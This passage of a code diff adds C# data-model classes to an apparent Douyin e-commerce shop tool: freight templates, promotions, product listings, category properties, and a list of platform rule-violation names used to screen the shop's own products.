/// 商品是否通过校验 1 校验通过 9 上家已下架 0 上家有变化需要更新
|
||||
/// </summary>
|
||||
public int update_check_passed { get; set; } = 1;
|
||||
|
||||
/// <summary>
|
||||
/// 商品资质信息
|
||||
/// </summary>
|
||||
public string qualifications { get; set; }
|
||||
}
|
||||
|
||||
public class GoodsCategoryModel
|
||||
{
|
||||
public int id { get; set; }
|
||||
public string name { get; set; }
|
||||
public int level { get; set; }
|
||||
public int parent_id { get; set; }
|
||||
public int main_cat_id { get; set; }
|
||||
public bool is_leaf { get; set; }
|
||||
public bool enable { get; set; }
|
||||
}
|
||||
|
||||
public class GoodsCategoryModelEx : GoodsCategoryModel
|
||||
{
|
||||
public int parent_cid { get { return parent_id; } set { parent_id = value; } }
|
||||
public int industry_status { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase.Model.Param.FissionManage
|
||||
{
|
||||
public class FissionRoot
|
||||
{
|
||||
/// <summary>
|
||||
/// List
|
||||
/// </summary>
|
||||
public List<FissionData> list { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// 记录总数
|
||||
/// </summary>
|
||||
public int count { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,101 @@
|
||||
using AllBase.Model.Result;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase.Model.Param.OrderManage
|
||||
{
|
||||
public class FreightTemplateParam
|
||||
{
|
||||
public TemplateParam template { get; set; }
|
||||
|
||||
public List<TemplateRulesParam> columns { get; set; }
|
||||
}
|
||||
|
||||
public class TemplateParam
|
||||
{
|
||||
public string template_name { get; set; }
|
||||
/// <summary>
|
||||
/// 发货省份id
|
||||
/// </summary>
|
||||
public long product_province { get; set; }
|
||||
/// <summary>
|
||||
/// 发货城市id
|
||||
/// </summary>
|
||||
public long product_city { get; set; }
|
||||
/// <summary>
|
||||
/// 计价方式-1.按重量计价 2.按数量计价; 模板类型为1、2、3时,计价类型传2
|
||||
/// </summary>
|
||||
public int calculate_type { get; set; } = 2;
|
||||
/// <summary>
|
||||
/// 快递方式-1.快递 目前仅支持1
|
||||
/// </summary>
|
||||
public int transfer_type { get; set; }
|
||||
/// <summary>
|
||||
/// 模板类型-0:阶梯计价 1:固定运费 2:卖家包邮 3:货到付款
|
||||
/// </summary>
|
||||
public int rule_type { get; set; }
|
||||
/// <summary>
|
||||
/// 固定运费金额(单位:分) 固定运费模板必填 1-9900之间的整数
|
||||
/// </summary>
|
||||
public int fixed_amount { get; set; }
|
||||
}
|
||||
|
||||
public class TemplateRulesParam
|
||||
{
|
||||
/// <summary>
|
||||
/// 首重(单位:kg)
|
||||
/// </summary>
|
||||
public decimal first_weight { get; set; }
|
||||
/// <summary>
|
||||
/// 首重价格(单位:元)
|
||||
/// </summary>
|
||||
public decimal first_weight_price { get; set; }
|
||||
/// <summary>
|
||||
/// 首件数量(单位:个)
|
||||
/// </summary>
|
||||
public int first_num { get; set; }
|
||||
/// <summary>
|
||||
/// 首件价格(单位:元)
|
||||
/// </summary>
|
||||
public decimal first_num_price { get; set; }
|
||||
/// <summary>
|
||||
/// 续重(单位:kg)
|
||||
/// </summary>
|
||||
public decimal add_weight { get; set; }
|
||||
/// <summary>
|
||||
/// 续重价格(单位:元)
|
||||
/// </summary>
|
||||
public decimal add_weight_price { get; set; }
|
||||
/// <summary>
|
||||
/// 续件(单位:个)
|
||||
/// </summary>
|
||||
public int add_num { get; set; }
|
||||
/// <summary>
|
||||
/// 续件价格(单位:元)
|
||||
/// </summary>
|
||||
public decimal add_num_price { get; set; }
|
||||
/// <summary>
|
||||
/// 是否默认计价方式规则(1:是;0:不是)
|
||||
/// </summary>
|
||||
public int is_default { get; set; }
|
||||
/// <summary>
|
||||
/// 是否限运规则
|
||||
/// </summary>
|
||||
public bool is_limited { get; set; }
|
||||
/// <summary>
|
||||
/// 当前规则生效的地址,非默认计价方式规则必填(如:限制购买规则)
|
||||
/// </summary>
|
||||
public string rule_address { get; set; }
|
||||
|
||||
public List<ProvinceInfo> province_infos { get; set; }
|
||||
}
|
||||
|
||||
public class ProvinceInfo
|
||||
{
|
||||
public List<ProvinceInfo> children { get; set; }
|
||||
public string id { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase.Model.Param.ProductManage
|
||||
{
|
||||
public class DyCategoryParam
|
||||
{
|
||||
public static string DyCategorys = "";
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase.Model.Param.ProductManage
|
||||
{
|
||||
public class QualificationConfig
|
||||
{
|
||||
public bool is_required { get; set; }
|
||||
public string key { get; set; }
|
||||
public string name { get; set; }
|
||||
public string support_web_url_type { get; set; }
|
||||
public List<string> text_list { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase.Model.Param.ProductManage
|
||||
{
|
||||
public class SameProductCheckParam
|
||||
{
|
||||
public string ShopName { get; set; }
|
||||
public string ShopId { get; set; }
|
||||
// 2022年4月25日前上货的商品,外部id为随机数,无法查询,故建立列表,一次性查询出所有对应商品
|
||||
public List<ShopOurterProductItemParam> ShopSamePrpductItemList { get; set; }
|
||||
|
||||
public bool IsGetSuccess { get; set; } = false;
|
||||
}
|
||||
|
||||
public class ShopOurterProductItemParam
|
||||
{
|
||||
public string outer_product_id { get; set; }
|
||||
public string product_id { get; set; }
|
||||
public string create_time { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
using NaiBa.Util.Extension;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase.Model.Param.ProductManage
|
||||
{
|
||||
public class ViolateParam
|
||||
{
|
||||
public string UpId { get; set; }
|
||||
public long UpIdNumber
|
||||
{
|
||||
get
|
||||
{
|
||||
var upId = UpId;
|
||||
if (string.IsNullOrWhiteSpace(upId))
|
||||
upId = "0";
|
||||
string upIdNumber = BaseRegex.GetMatchRegex(ref upId, "\\d{5,20}")[0]?.Groups[0]?.Value;
|
||||
if (!string.IsNullOrEmpty(upIdNumber))
|
||||
{
|
||||
return upIdNumber.ParseToLong();
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
public string From
|
||||
{
|
||||
get
|
||||
{
|
||||
string from = "";
|
||||
if (string.IsNullOrEmpty(UpId))
|
||||
from = "";
|
||||
else if (UpId.StartsWith("pd"))
|
||||
from = "拼多多";
|
||||
else if (UpId.StartsWith("tb"))
|
||||
from = "淘宝";
|
||||
else if (UpId.StartsWith("al"))
|
||||
from = "阿里巴巴";
|
||||
else if (UpId.StartsWith("jx"))
|
||||
from = "京喜";
|
||||
else if (UpId.StartsWith("dy"))
|
||||
from = "抖音";
|
||||
return from;
|
||||
}
|
||||
}
|
||||
/// <summary>
|
||||
/// 抖音商品Id
|
||||
/// </summary>
|
||||
public string DouProductId { get; set; }
|
||||
/// <summary>
|
||||
/// 抖音店铺Id
|
||||
/// </summary>
|
||||
public string DouShopId { get; set; }
|
||||
public string RuleNames { get; set; }
|
||||
/// <summary>
|
||||
/// 数据来源 1.产品数据库 2.店铺在售商品 3.店铺仓库商品
|
||||
/// </summary>
|
||||
public int DataFrom { get; set; }
|
||||
/// <summary>
|
||||
/// 校验时间
|
||||
/// </summary>
|
||||
public DateTime CheckTime { get; set; }
|
||||
/// <summary>
|
||||
/// 处理(删除)结果
|
||||
/// </summary>
|
||||
public string HandleResult { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,130 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase.Model.Param.ProductManage
|
||||
{
|
||||
public class ViolateRuleParam
|
||||
{
|
||||
/// <summary>
|
||||
/// 严重违规信息规则名称列表
|
||||
/// </summary>
|
||||
public static List<string> LstSeriousViolateRuleName = new List<string> {
|
||||
"虚假宣传-虚构或夸大产品功效",
|
||||
"虚构商品信息",
|
||||
"虚构商品信息(商品信息与商品实物不一致)",
|
||||
"商家出售商品或提供服务时侵犯他人专利权.",
|
||||
"滥发信息-在店铺页面、商品详情页、推广页面、聊天工具场景中发布第三方信息",
|
||||
"发布违禁商品/信息-中危禁售",
|
||||
"出售假冒注册商标商品或仿制品/出售盗版商品",
|
||||
"商品疑似或涉嫌质量不合格",
|
||||
"商家出售商品或提供服务时侵犯他人版权。",
|
||||
"出售假冒商品",
|
||||
"滥发信息-商品页面引人不适",
|
||||
"商家出售商品或提供服务时不当使用他人商标权",
|
||||
"页面信息引人不适",
|
||||
"侵犯他人知识产权-商家出售商品或提供服务时侵犯他人商标权、版权、专利权",
|
||||
"发布违禁商品/信息-高危禁售",
|
||||
"商家出售商品或提供服务时侵犯他人专利权",
|
||||
"虚构或夸大产品功效.",
|
||||
"感官质量不合格(商品封禁)",
|
||||
"违规使用极限词",
|
||||
"商家出售商品或提供服务时侵犯他人版权.",
|
||||
"虚构、夸大产品功效(情节轻微-首次违规)",
|
||||
"商家在出售商品或提供服务的过程中侵犯他人商标权(情节一般)",
|
||||
|
||||
"发布违禁信息",
|
||||
"发布违禁商品/信息——违规信息(商品封禁)",
|
||||
"发布禁售商品/信息(商品封禁)",
|
||||
"商品经营资质不符(进口商品需提供报关单、特殊化妆品需提供特化证)",
|
||||
"不当使用热点信息",
|
||||
"商家在出售商品或提供服务的过程中侵犯他人商标权",
|
||||
"发布违禁商品(情节轻微)",
|
||||
"发布违禁商品/信息——违规商品(情节一般)",
|
||||
"虚假宣传-广告禁用词",
|
||||
"虚构或夸大产品功效",
|
||||
"功效虚假-普通食品宣称医疗/保健功效",
|
||||
"商家出售商品或提供服务时侵犯他人版权(情节一般)",
|
||||
"功效虚假-化妆品宣称医疗/保健功效",
|
||||
"商家在出售商品或提供服务的过程中侵犯他人商标权(商品封禁)",
|
||||
"发布违禁商品/信息(情节一般)",
|
||||
"功效虚假-化妆品宣称可食用",
|
||||
"功效虚假-食品宣称医疗/保健功效",
|
||||
"商家在出售商品或提供服务的过程中侵犯他人商标权。",
|
||||
"发布非约定商品——需经定向招商的商品(情节特别严重,冻结货款)",
|
||||
"消费者负反馈(CCR)指标异常",
|
||||
"功效虚假-保证产品效果",
|
||||
"商品经营资质不符(特殊材质商品需提供质检报告、进口商品需提供报关单、特殊化妆品需提供特化证)",
|
||||
"商家在出售商品或提供服务的过程中侵犯他人商标权.",
|
||||
"商家在出售商品或提供服务的过程中侵犯他人商标权 .",
|
||||
"发布违禁商品/信息(情节轻微)",
|
||||
"商家在出售商品或提供服务的过程中严重侵犯他人商标权(情节严重)",
|
||||
"发布违禁信息(情节轻微)",
|
||||
"功效虚假-化妆品宣称医美功效",
|
||||
"虚构产品荣誉(情节轻微-首次违规)",
|
||||
};
|
||||
/// <summary>
|
||||
/// 所有违规信息规则名称列表
|
||||
/// </summary>
|
||||
public static List<string> LstViolateRuleName = null;
|
||||
/// <summary>
|
||||
/// 当前选中的要排查的违规信息
|
||||
/// </summary>
|
||||
public static List<string> LstViolateRuleNameSelect = new List<string>() {
|
||||
"虚假宣传-虚构或夸大产品功效",
|
||||
"虚构商品信息",
|
||||
"虚构商品信息(商品信息与商品实物不一致)",
|
||||
"商家出售商品或提供服务时侵犯他人专利权.",
|
||||
"滥发信息-在店铺页面、商品详情页、推广页面、聊天工具场景中发布第三方信息",
|
||||
"发布违禁商品/信息-中危禁售",
|
||||
"出售假冒注册商标商品或仿制品/出售盗版商品",
|
||||
"商品疑似或涉嫌质量不合格",
|
||||
"商家出售商品或提供服务时侵犯他人版权。",
|
||||
"出售假冒商品",
|
||||
"滥发信息-商品页面引人不适",
|
||||
"商家出售商品或提供服务时不当使用他人商标权",
|
||||
"页面信息引人不适",
|
||||
"侵犯他人知识产权-商家出售商品或提供服务时侵犯他人商标权、版权、专利权",
|
||||
"发布违禁商品/信息-高危禁售",
|
||||
"商家出售商品或提供服务时侵犯他人专利权",
|
||||
"虚构或夸大产品功效.",
|
||||
"感官质量不合格(商品封禁)",
|
||||
"违规使用极限词",
|
||||
"商家出售商品或提供服务时侵犯他人版权.",
|
||||
"虚构、夸大产品功效(情节轻微-首次违规)",
|
||||
"商家在出售商品或提供服务的过程中侵犯他人商标权(情节一般)",
|
||||
|
||||
"发布违禁信息",
|
||||
"发布违禁商品/信息——违规信息(商品封禁)",
|
||||
"发布禁售商品/信息(商品封禁)",
|
||||
"商品经营资质不符(进口商品需提供报关单、特殊化妆品需提供特化证)",
|
||||
"不当使用热点信息",
|
||||
"商家在出售商品或提供服务的过程中侵犯他人商标权",
|
||||
"发布违禁商品(情节轻微)",
|
||||
"发布违禁商品/信息——违规商品(情节一般)",
|
||||
"虚假宣传-广告禁用词",
|
||||
"虚构或夸大产品功效",
|
||||
"功效虚假-普通食品宣称医疗/保健功效",
|
||||
"商家出售商品或提供服务时侵犯他人版权(情节一般)",
|
||||
"功效虚假-化妆品宣称医疗/保健功效",
|
||||
"商家在出售商品或提供服务的过程中侵犯他人商标权(商品封禁)",
|
||||
"发布违禁商品/信息(情节一般)",
|
||||
"功效虚假-化妆品宣称可食用",
|
||||
"功效虚假-食品宣称医疗/保健功效",
|
||||
"商家在出售商品或提供服务的过程中侵犯他人商标权。",
|
||||
"发布非约定商品——需经定向招商的商品(情节特别严重,冻结货款)",
|
||||
"消费者负反馈(CCR)指标异常",
|
||||
"功效虚假-保证产品效果",
|
||||
"商品经营资质不符(特殊材质商品需提供质检报告、进口商品需提供报关单、特殊化妆品需提供特化证)",
|
||||
"商家在出售商品或提供服务的过程中侵犯他人商标权.",
|
||||
"商家在出售商品或提供服务的过程中侵犯他人商标权 .",
|
||||
"发布违禁商品/信息(情节轻微)",
|
||||
"商家在出售商品或提供服务的过程中严重侵犯他人商标权(情节严重)",
|
||||
"发布违禁信息(情节轻微)",
|
||||
"功效虚假-化妆品宣称医美功效",
|
||||
"虚构产品荣誉(情节轻微-首次违规)",
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase.Model.Param.SalesManage
|
||||
{
|
||||
// 直降 {"sub_stype":"0","shop_stype":"2","title":"123454321","time_set_type":"0","promotion_goods":[{"product_id":"3548176868555547395","title":"不锈钢铁板烧料理铲子西餐披萨铲刀手抓饼压铲生煎饼工具炒冰铲子","cover":"https://p9-aio.ecombdimg.com/obj/ecom-shop-material/v1_NxryKpcR_70963536160382815020819_1ad5b45b1ae22a3fdb44cbe31f490e02_sx_148382_www800-800","config_scope":"0","promotion_skus":[{"id":"1732508235120728","camp_stock_num":"1","user_limit":"1","price":"undefined","shop_svalue":"200"},{"id":"1732508235120712","camp_stock_num":"5","user_limit":"1","price":"undefined","shop_svalue":"100"}]}],"order_expire_time":"600","pre_begin_time":"2022-05-14 20:30:00","begin_time":"2022-05-16 00:00:00","end_time":"2022-05-16 23:59:59","sold_out_type":"1","create_action_type":"0"}
|
||||
// 一口价 {"sub_stype":"0","shop_stype":"1","title":"33333","time_set_type":"0","promotion_goods":[{"product_id":"3548176868555547395","title":"不锈钢铁板烧料理铲子西餐披萨铲刀手抓饼压铲生煎饼工具炒冰铲子","cover":"https://p3-aio.ecombdimg.com/obj/ecom-shop-material/v1_NxryKpcR_70963536160382815020819_1ad5b45b1ae22a3fdb44cbe31f490e02_sx_148382_www800-800","config_scope":"0","promotion_skus":[{"id":"1732508235120728","camp_stock_num":"3","user_limit":"2","price":"3800"}]}],"order_expire_time":"300","pre_begin_time":"2022-05-16 00:00:00","begin_time":"2022-05-16 00:00:00","end_time":"2022-05-16 23:59:59","sold_out_type":"1","create_action_type":"0"}
|
||||
// {"sub_stype":"0","shop_stype":"1","title":"3213","time_set_type":"1","promotion_goods":[{"product_id":"3548176868555547395","title":"不锈钢铁板烧料理铲子西餐披萨铲刀手抓饼压铲生煎饼工具炒冰铲子","cover":"https://p3-aio.ecombdimg.com/obj/ecom-shop-material/v1_NxryKpcR_70963536160382815020819_1ad5b45b1ae22a3fdb44cbe31f490e02_sx_148382_www800-800","config_scope":"0","promotion_skus":[{"id":"1732508235120728","camp_stock_num":"1","user_limit":"1","price":"3900"},{"id":"1732508235120712","camp_stock_num":"1","user_limit":"1","price":"2800"},{"id":"1732508235119736","camp_stock_num":"1","user_limit":"1","price":"2800"}]}],"order_expire_time":"300","pre_begin_time":"2022-05-16 12:23:41","begin_time":"2022-05-16 12:23:41","end_time":"2022-05-16 12:53:41","sold_out_type":"0","create_action_type":"0"}
|
||||
// 折扣 {"sub_stype":"0","shop_stype":"3","title":"5555","time_set_type":"0","promotion_goods":[{"product_id":"3548176868555547395","title":"不锈钢铁板烧料理铲子西餐披萨铲刀手抓饼压铲生煎饼工具炒冰铲子","cover":"https://p6-aio.ecombdimg.com/obj/ecom-shop-material/v1_NxryKpcR_70963536160382815020819_1ad5b45b1ae22a3fdb44cbe31f490e02_sx_148382_www800-800","config_scope":"0","promotion_skus":[{"id":"1732508235120728","camp_stock_num":"1","user_limit":"3","price":"undefined","shop_svalue":"90"},{"id":"1732508235120712","camp_stock_num":"2","user_limit":"4","price":"undefined","shop_svalue":"90"},{"id":"1732508235119736","camp_stock_num":"3","user_limit":"1","price":"undefined","shop_svalue":"90"}]}],"order_expire_time":"300","pre_begin_time":"2022-05-16 00:00:00","begin_time":"2022-05-16 00:00:00","end_time":"2022-05-16 23:59:59","sold_out_type":"0","create_action_type":"0"}
|
||||
public class PromotionAddParam
|
||||
{
|
||||
public string sub_stype { get; set; } = "0";
|
||||
/// <summary>
|
||||
/// 优惠方式 "1":一口价 "2":直降 "3":折扣
|
||||
/// </summary>
|
||||
public string shop_stype { get; set; } = "2";
|
||||
/// <summary>
|
||||
/// 活动标题
|
||||
/// </summary>
|
||||
public string title { get; set; }
|
||||
/// <summary>
|
||||
/// 活动时间 "0":按按开始结束时间设置 "1":按时间段选择
|
||||
/// </summary>
|
||||
public string time_set_type { get; set; } = "0";
|
||||
/// <summary>
|
||||
/// 订单取消时间 单位:秒,默认5分钟
|
||||
/// </summary>
|
||||
public string order_expire_time { get; set; } = "300";
|
||||
/// <summary>
|
||||
/// 预热开始时间 2022-05-14 20:30:00"
|
||||
/// </summary>
|
||||
public string pre_begin_time { get; set; }
|
||||
/// <summary>
|
||||
/// 活动开始时间 2022-05-16 00:00:00
|
||||
/// </summary>
|
||||
public string begin_time { get; set; }
|
||||
/// <summary>
|
||||
/// 活动结束时间 2022-05-16 23:59:59
|
||||
/// </summary>
|
||||
public string end_time { get; set; }
|
||||
/// <summary>
|
||||
/// 活动库存售罄设置 "0":恢复为原价继续售卖 "1":停止售卖,商品标示“已抢光”
|
||||
/// </summary>
|
||||
public string sold_out_type { get; set; } = "0";
|
||||
public string create_action_type { get; set; } = "0";
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase.Model.Param.ShopManage
|
||||
{
|
||||
public class DouShopSettingParam
|
||||
{
|
||||
public bool IsAutoDragLogin { get; set; } = false;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase.Model.Param.UploadManage
|
||||
{
|
||||
/// <summary>
|
||||
/// 上货佣金设置参数
|
||||
/// </summary>
|
||||
public class UploadCommissionParam
|
||||
{
|
||||
public long ProductId { get; set; }
|
||||
|
||||
public bool? IsSet { get; set; } = null;
|
||||
|
||||
public string ShopName { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// 佣金比例 1 - 50 整数
|
||||
/// </summary>
|
||||
public int Rate { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase.Model.Param.UploadManage
|
||||
{
|
||||
public class UploadErrorParam
|
||||
{
|
||||
public string product_id { get; set; }
|
||||
public string source_id { get; set; }
|
||||
public string message { get; set; }
|
||||
public string cat_id { get; set; }
|
||||
public string cat_name { get; set; }
|
||||
public DateTime addtime { get; set; }
|
||||
public DateTime update_time { get; set; }
|
||||
public bool is_repair { get; set; } = false;
|
||||
|
||||
public string remark { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase.Model.Result
|
||||
{
|
||||
public class AddressAreaInfo
|
||||
{
|
||||
public long code { get; set; }
|
||||
public long father_code { get; set; }
|
||||
public string level { get; set; }
|
||||
public string name { get; set; }
|
||||
public List<AddressAreaInfo> sub_districts { get; set; }
|
||||
}
|
||||
|
||||
public class AddressProvinceInfo
|
||||
{
|
||||
public string province { get; set; }
|
||||
public string province_id { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase.Model.Result
|
||||
{
|
||||
|
||||
public class CatePropertyResponseInfo
|
||||
{
|
||||
//public string msg = "";
|
||||
//private int tpl_type = 0;
|
||||
//private int page = 0;
|
||||
//private int size = 0;
|
||||
//private int st = 0;
|
||||
//public int code = 0;
|
||||
//public int total = 0;
|
||||
public int code = 0;
|
||||
public int err_no = 0;
|
||||
public string log_id = "";
|
||||
public string message = "";
|
||||
public string msg = "";
|
||||
public string sub_code = "";
|
||||
public string sub_msg = "";
|
||||
public PropertiesData data { get; set; }
|
||||
}
|
||||
|
||||
public class PropertiesData
|
||||
{
|
||||
public int tpl_type = 0;
|
||||
public List<PropertiesBase> data
|
||||
{
|
||||
get;
|
||||
set;
|
||||
}
|
||||
}
|
||||
public class PropertiesBase
|
||||
{
|
||||
|
||||
public int property_id;
|
||||
public string property_name;
|
||||
public bool required;
|
||||
public string type;
|
||||
//public string hint = "";
|
||||
public int multi_select_max;
|
||||
/// <summary>
|
||||
/// 是否支持枚举可输入,0表示不支持,1表示支持,支持枚举可输入的属性,在发布/编辑接口的类目属性参数中可以传入自定义的属性值,自定义属性值value为0,diy_type为1
|
||||
/// </summary>
|
||||
public int diy_type;
|
||||
//public int property_type = 0;
|
||||
//public string property_id = "";
|
||||
//public int sequence = 0;
|
||||
//public int relation_id = 0;
|
||||
//public string name
|
||||
//{
|
||||
// get;
|
||||
// set;
|
||||
//}
|
||||
//public int required
|
||||
//{
|
||||
// get;
|
||||
// set;
|
||||
//}
|
||||
//public string type
|
||||
//{
|
||||
// get;
|
||||
// set;
|
||||
//}
|
||||
public List<PropertiesValuesBase> options
|
||||
{
|
||||
get;
|
||||
set;
|
||||
}
|
||||
}
|
||||
public class PropertiesValuesBase
|
||||
{
|
||||
public string name
|
||||
{
|
||||
get;
|
||||
set;
|
||||
}
|
||||
public string value
|
||||
{
|
||||
get;
|
||||
set;
|
||||
}
|
||||
}
|
||||
|
||||
public class PropertyBaseNew
|
||||
{
|
||||
public long property_id;
|
||||
public string property_name;
|
||||
public string type;
|
||||
public int required;
|
||||
public List<PropertiesValuesBaseNew> vbnlst = new List<PropertiesValuesBaseNew>();
|
||||
}
|
||||
public class PropertiesValuesBaseNew
|
||||
{
|
||||
public string name;
|
||||
public long sequence;
|
||||
public string value;
|
||||
public long value_id;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase.Model.Result
|
||||
{
|
||||
/// <summary>
|
||||
/// 抖音搜索获取到的简单商品对象类
|
||||
/// </summary>
|
||||
public class DouGoodsCollectInfo
|
||||
{
|
||||
/// <summary>
|
||||
/// 商品ID spid
|
||||
/// </summary>
|
||||
public string Id;
|
||||
/// <summary>
|
||||
/// 商品名称 goodsName
|
||||
/// </summary>
|
||||
public string GoodsName;
|
||||
/// <summary>
|
||||
/// 平台
|
||||
/// </summary>
|
||||
public string pt;
|
||||
/// <summary>
|
||||
/// 价格 jg
|
||||
/// </summary>
|
||||
public string Price;
|
||||
/// <summary>
|
||||
/// 销量 xl
|
||||
/// </summary>
|
||||
public string Sales;
|
||||
/// <summary>
|
||||
/// 佣金 yj
|
||||
/// </summary>
|
||||
public string yj;
|
||||
/// <summary>
|
||||
/// 佣金率 yjl
|
||||
/// </summary>
|
||||
public string yjl;
|
||||
public string img;
|
||||
/// <summary>
|
||||
/// 类目 lm
|
||||
/// </summary>
|
||||
public string lm;
|
||||
/// <summary>
|
||||
/// 类目id lmid
|
||||
/// </summary>
|
||||
public string lmid;
|
||||
/// <summary>
|
||||
/// 关键词 gjz
|
||||
/// </summary>
|
||||
public string Keyword;
|
||||
/// <summary>
|
||||
/// 评论数 pl
|
||||
/// </summary>
|
||||
public int CommentsCount;
|
||||
/// <summary>
|
||||
/// 店铺ID dpid
|
||||
/// </summary>
|
||||
public string ShopId;
|
||||
/// <summary>
|
||||
/// 店铺名称 dpmc
|
||||
/// </summary>
|
||||
public string ShopName;
|
||||
/// <summary>
|
||||
/// 商品总数 spzs
|
||||
/// </summary>
|
||||
public int ShopProductCount;
|
||||
/// <summary>
|
||||
/// 好评率 hpl
|
||||
/// </summary>
|
||||
public double CommentsRate;
|
||||
/// <summary>
|
||||
/// 体验分数
|
||||
/// </summary>
|
||||
public double Score;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,112 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase.Model.Result
|
||||
{
|
||||
/// <summary>
|
||||
/// 抖音店铺后台获取到的商品对象类
|
||||
/// </summary>
|
||||
public class DouProductListInfo
|
||||
{
|
||||
public long product_id { get; set; }
|
||||
|
||||
public string name { get; set; }
|
||||
|
||||
public int status { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// 指定审核状态返回商品列表:1未提审 2审核中 3审核通过 4审核驳回 5封禁 7审核通过,待上架状态
|
||||
/// </summary>
|
||||
public int check_status { get; set; }
|
||||
|
||||
public decimal discount_price { get; set; }
|
||||
|
||||
public string img { get; set; }
|
||||
|
||||
public decimal cos_ratio { get; set; }
|
||||
|
||||
public long create_time { get; set; }
|
||||
|
||||
public long update_time { get; set; }
|
||||
|
||||
public CategoryDetail category_detail { get; set; }
|
||||
|
||||
public string description { get; set; }
|
||||
|
||||
public string extra { get; set; }
|
||||
|
||||
public bool is_package_product { get; set; }
|
||||
|
||||
public decimal market_price { get; set; }
|
||||
|
||||
public string mobile { get; set; }
|
||||
|
||||
public long out_product_id { get; set; }
|
||||
|
||||
public int pay_type { get; set; }
|
||||
|
||||
public int product_type { get; set; }
|
||||
|
||||
public string recommend_remark { get; set; }
|
||||
|
||||
public long spec_id { get; set; }
|
||||
}
|
||||
|
||||
public class CategoryDetail
|
||||
{
|
||||
public long first_cid { get; set; }
|
||||
|
||||
public string first_cname { get; set; }
|
||||
|
||||
public long fourth_cid { get; set; }
|
||||
|
||||
public string fourth_cname { get; set; }
|
||||
|
||||
public long second_cid { get; set; }
|
||||
|
||||
public string second_cname { get; set; }
|
||||
|
||||
public long third_cid { get; set; }
|
||||
|
||||
public string third_cname { get; set; }
|
||||
}
|
||||
|
||||
public class DouProductWithSalesListInfo : DouProductListInfo
|
||||
{
|
||||
/// <summary>
|
||||
/// 总销量
|
||||
/// </summary>
|
||||
public int? sell_num { get; set; }
|
||||
/// <summary>
|
||||
/// 总库存
|
||||
/// </summary>
|
||||
public int? stock_num { get; set; }
|
||||
/// <summary>
|
||||
/// 创建时间文本
|
||||
/// </summary>
|
||||
public string create_time_str { get; set; }
|
||||
/// <summary>
|
||||
/// 订单数(7天 一个月)
|
||||
/// </summary>
|
||||
public int? order_count { get; set; }
|
||||
/// <summary>
|
||||
/// 曝光次数
|
||||
/// </summary>
|
||||
public int? show_count { get; set; }
|
||||
/// <summary>
|
||||
/// 曝光人数
|
||||
/// </summary>
|
||||
public int? show_people_count { get; set; }
|
||||
/// <summary>
|
||||
/// 点击次数
|
||||
/// </summary>
|
||||
public int? click_count { get; set; }
|
||||
/// <summary>
|
||||
/// 点击人数
|
||||
/// </summary>
|
||||
public int? click_people_count { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,89 @@
|
||||
using System;
|
||||
